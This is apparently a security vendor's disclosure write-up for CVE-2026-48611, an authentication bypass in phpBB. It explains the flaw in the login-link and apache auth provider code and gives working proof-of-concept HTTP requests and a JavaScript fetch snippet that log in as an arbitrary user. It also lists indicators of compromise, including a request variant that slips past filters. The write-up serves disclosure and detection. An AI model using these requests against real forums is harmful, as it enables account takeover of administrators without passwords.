Authentication Bypass in the default configuration phpBB

June 10th, we announced a critical vulnerability in phpBB that lets attackers bypass authentication, now known as CVE-2026-48611. This post is a follow-up, containing technical details that explain exploit scenarios and detection methods.

To get you up to speed, phpBB is an old forum software that's still being used today by various technical communities. phpBB's Site Showcase alone has over 6 million members. While there have been some notorious attacks in the past, like the "Santy" worm in 2004, nowadays, they haven't had many problems with vulnerabilities. This disclosure breaks that trend.

While researching to improve our AI pentest product, Aikido Attack's agents notified us of a "Critical Authentication Bypass" in phpBB. We were slightly skeptical at first. Surely this was some configuration mistake or edge case we messed up in the setup. But it couldn't have been further from the truth.

The found vulnerability works in default configuration, requiring only a single unauthenticated request to fully log in to any arbitrary account. Logging in to an administrator's account could grant you control over the whole forum!

After noticing this, we immediately reported the vulnerability on HackerOne and received confirmation that it was triaged in under 9 minutes!

Four days later, a patch came out in version 3.3.17 addressing the vulnerability. If you manage a phpBB forum, update to this version as soon as possible if you haven't already.

We'll now dive into what parts of the code were vulnerable and how they were able to be exploited. Spoiler: it's not the crazy complicated exploit you might expect it to be…

Authentication bypass

This is all related to how exactly the login procedure works in phpBB. Not the main login flow, but specifically the "login-link" feature. When connecting to external services like Google or GitHub OAuth, this feature is for linking the account to an existing account on the phpBB instance or registering a new one.

If you choose to connect it to an existing account, it asks you to log in to your account with the mode=login_link query parameter. Submitting this will then connect the OAuth account after you log in.

The callback is handled by ucp_login_link.php and first looks for login_link_* data as query parameters, which must not be empty. These are extracted here:

class ucp_login_link {
    function main($id, $mode) {
        ...
        $data = $this->get_login_link_data_array();
        if (empty($data)) {
            $login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
        }
        ...
    }
}

protected function get_login_link_data_array() {
    ...
    foreach ($var_names as $var_name) {
        if (strpos($var_name, 'login_link_') === 0) {
            $key_name = substr($var_name, $string_start_length);
            $login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
        }
    }

Luckily, this is easy to pass by adding some dummy data like login_link_aikido=1. It makes the $data non-empty, and we can continue with the flow.

Further down in the code, we start to notice something peculiar. We have control over the auth_provider query parameter:

// Use the auth_provider requested even if different from configured
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));

The value is normally only set to oauth, but we can fully control it. It's supposed to tell the phpBB server which provider should be used for verifying the authentication, for example, if you have both a local database and OAuth authentication configured. But what happens when we provide other values?

phpBB defines all of these as classes under phpbb/auth/provider. There is one named apache.php that is very simple, a little too simple:

class apache extends base {
    public function login($username, $password) {
        $php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
        $php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);

        if (!empty($php_auth_user) && !empty($php_auth_pw)) {
            // Basic auth username must match submitted username
            if ($php_auth_user !== $username) {
                return array('status' => LOGIN_ERROR_USERNAME, ...);
            }

            // Look up user in database
            $sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
                FROM ' . USERS_TABLE . "
                WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
            $result = $this->db->sql_query($sql);
            $row = $this->db->sql_fetchrow($result);
            $this->db->sql_freeresult($result);

            if ($row) {
                // User inactive
                if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
                    return array('status' => LOGIN_ERROR_ACTIVE, ...);
                }

                // Successful login
                return array('status' => LOGIN_SUCCESS, ...);
            }

It verifies the sent username matches PHP_AUTH_USER (decoded Basic authentication username), looks up the user, and then just returns LOGIN_SUCCESS. But one thing is missing, a password check!

Congratulations, you just found a critical Authentication Bypass on phpBB! By choosing an unexpected provider like apache, we can skip the password and log in as any user.

Now, to clear up any confusion, the maintainers did not just "forget" to add a password check here. The intended functionality of the apache provider assumes that authentication is handled by the Apache proxy with .htpasswd, and every request must go through it first. phpBB just trusts the username that comes in the Basic authentication header in that case.

What we did here was trigger the apache provider without Apache having to be configured, through a feature designed only for oauth. In this case, the client directly becomes the "trusted proxy," and we can send any username they wish.

So, we can make a request that triggers the login-link flow with valid data and a username of our choosing, but set the handler to apache to skip the password check. Usernames aren't hard to find on phpBB instances, making it easy to log in as an administrator or moderator.

All of this works in the default configuration of phpBB, making it all the more dangerous

Proof of concept

Reproducing this vulnerability is not hard. On any local phpBB instance, the following HTTP request shows a bypass to log in to the admin user (encoded as Base64 in the Authorization: header like admin:x to YWRtaW46eA==).

POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Authorization: Basic YWRtaW46eA==
Content-Type: application/x-www-form-urlencoded

login_username=admin&login_password=x&login=Login

A successful response sets the cookies and redirects to the homepage. The attacker is then fully logged in to the targeted account.

HTTP/1.1 302 Found
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

To generate the above request, the following JavaScript code can be run in the DevTools Console of any instance:

const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
  method: "POST",
  headers: {
    Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
  },
  body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});

Reloading the webpage afterward shows the attacker is logged in to the targeted account:

Indicators of compromise

Check request logs for POST requests that have auth_provider=apache and mode=login_link query parameters together. This is the most common exploit. See the example request above.

However, note that because phpBB reads both parameters from the POST body too, those parameters take priority over GET parameters. A filter bypass request can then look like a regular mode=login, while actually performing mode=login_link in the body. login_link_* is still a required query parameter, so it can be used as an indicator of a suspicious request, then analyzed manually further. It can look like this:

POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46eA==

login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Login

This is the kind of thing Aikido Attack turns up on a normal run. It hunts auth bypasses, IDORs, and logic flaws the way a real attacker would, then validates each one so you only see what's actually exploitable. Point it at your own apps and secure them fast.

Timeline

• June 2, 2026 8:22 PM - Submitted report to https://hackerone.com/phpbb VDP program
• June 2, 2026 8:31 PM - Report was triaged by phpBB staff (that's right, 9 minutes!)
• June 6, 2026 4:26 PM - Version 3.3.17 with a patch is released
• June 10, 2026 12:33 PM - We publish an initial announcement to warn users
• June 10, 2026 7:33 PM - phpBB maintainers ask us to wait 4 weeks before publishing technical details
• July 4, 2026 2:45 AM - This technical write-up is published